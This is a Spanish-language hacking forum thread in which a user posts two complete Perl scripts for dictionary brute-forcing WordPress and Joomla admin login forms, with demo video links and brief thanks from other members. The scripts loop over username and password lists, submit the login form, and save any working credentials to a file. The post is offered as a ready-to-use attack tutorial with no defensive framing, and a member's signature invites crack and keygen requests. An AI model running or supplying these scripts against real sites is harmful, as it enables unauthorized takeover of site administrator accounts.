Fuerza bruta a login Wordpress y Joomla con Perl Mechanize

Iniciado por manudg, 23 Junio 2014, 23:42 PM

0 Miembros y 1 Visitante están viendo este tema.

manudg

Pequeño tutorial de como construir scripts con Perl para explotar los formularios de login de Wordpress y Joomla mediante fuerza bruta.

wordpress-login.pl

Código (perl) [Seleccionar]

#!c:/strawberry/perl/bin/perl.exe

#Evitar caracteres extraños en la consola de windows
binmode(STDOUT, ":encoding(cp850)");
binmode(STDIN, ":encoding(cp850)");

use WWW::Mechanize;
use strict;

#parámetros para el script
my $url = $ARGV[0];
my $admin = $ARGV[1];
my $password = $ARGV[2];
my $reporte = $ARGV[3];

if (!@ARGV)
    {
print "wordpress-login.pl <url> <admin> <password> opcional<reporte>";
}
else
    {
  my $mechanize = WWW::Mechanize->new();
  #url de destino
  $mechanize->get($url);
 
  #Abrir el diccionario para admin
  open(ADMIN, "<", $admin) || die("Error al abrir el diccionario para admin");
  while(<ADMIN>)
    {
my $adm = $_;
chomp($adm);
#Abrir el diccionario para password
open(PASSWORD, "<", $password) || die("Error al abrir el diccionario para password");
while (<PASSWORD>)
  {
   chomp($_);
   #Enviar el formulario
   $mechanize->submit_form
                  (
     form_id => "loginform",
fields => {log => $adm, pwd => $_}
   );
print "$adm:$_\n";
my $content = $mechanize->content;
#comprobar el contenido
if ($content =~ /Bienvenido/ || $content =~ /Welcome/)
  {
  print "\n\n¡¡¡¡DATOS DE ACCESO!!!! $adm:$_\n\n";
   if ($reporte)
     {
   open(REPORTE, ">", $reporte);
   print REPORTE "¡¡¡¡DATOS DE ACCESO!!!! $adm:$_";
   close(REPORTE);
   print "####Datos guardados en $reporte####\n";
}
   exit;
  }
  }
  close(PASSWORD);
}
close(ADMIN);
}


[youtube=640,360]https://www.youtube.com/watch?v=2p9L2WcGmmQ[/youtube]

joomla-login.pl

Código (perl) [Seleccionar]

#!c:/strawberry/perl/bin/perl.exe

#Evitar caracteres extraños en la consola de windows
binmode(STDOUT, ":encoding(cp850)");
binmode(STDIN, ":encoding(cp850)");

use WWW::Mechanize;
use strict;

#parámetros para el script
my $url = $ARGV[0];
my $admin = $ARGV[1];
my $password = $ARGV[2];
my $reporte = $ARGV[3];

if (!@ARGV)
    {
print "joomla-login.pl <url> <admin> <password> opcional<reporte>";
}
else
    {
  my $mechanize = WWW::Mechanize->new();
  #url de destino
  $mechanize->get($url);
 
  #Abrir el diccionario para admin
  open(ADMIN, "<", $admin) || die("Error al abrir el diccionario para admin");
  while(<ADMIN>)
    {
my $adm = $_;
chomp($adm);
#Abrir el diccionario para password
open(PASSWORD, "<", $password) || die("Error al abrir el diccionario para password");
while (<PASSWORD>)
  {
   chomp($_);
   #Enviar el formulario
   $mechanize->submit_form
                  (
     form_id => "form-login",
fields => {username => $adm, passwd => $_}
   );
print "$adm:$_\n";
my $content = $mechanize->content;
#comprobar el contenido
if ($content =~ /Panel de Control/ || $content =~ /Control Panel/)
  {
  print "\n\n¡¡¡¡DATOS DE ACCESO!!!! $adm:$_\n\n";
   if ($reporte)
     {
   open(REPORTE, ">", $reporte);
   print REPORTE "¡¡¡¡DATOS DE ACCESO!!!! $adm:$_";
   close(REPORTE);
   print "####Datos guardados en $reporte####\n";
}
   exit;
  }
  }
  close(PASSWORD);
}
close(ADMIN);
}


[youtube=640,360]https://www.youtube.com/watch?v=R0IBBlyGjq8[/youtube]



.:UND3R:.

Excelentes tutoriales, muchas gracias por compartirlos.

Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)

manudg

No hay de que amigo :UND3R:, un placer compartilo en este gran foro, encuentro muchas cosas interesantes en este sitio, un saludo.  ;D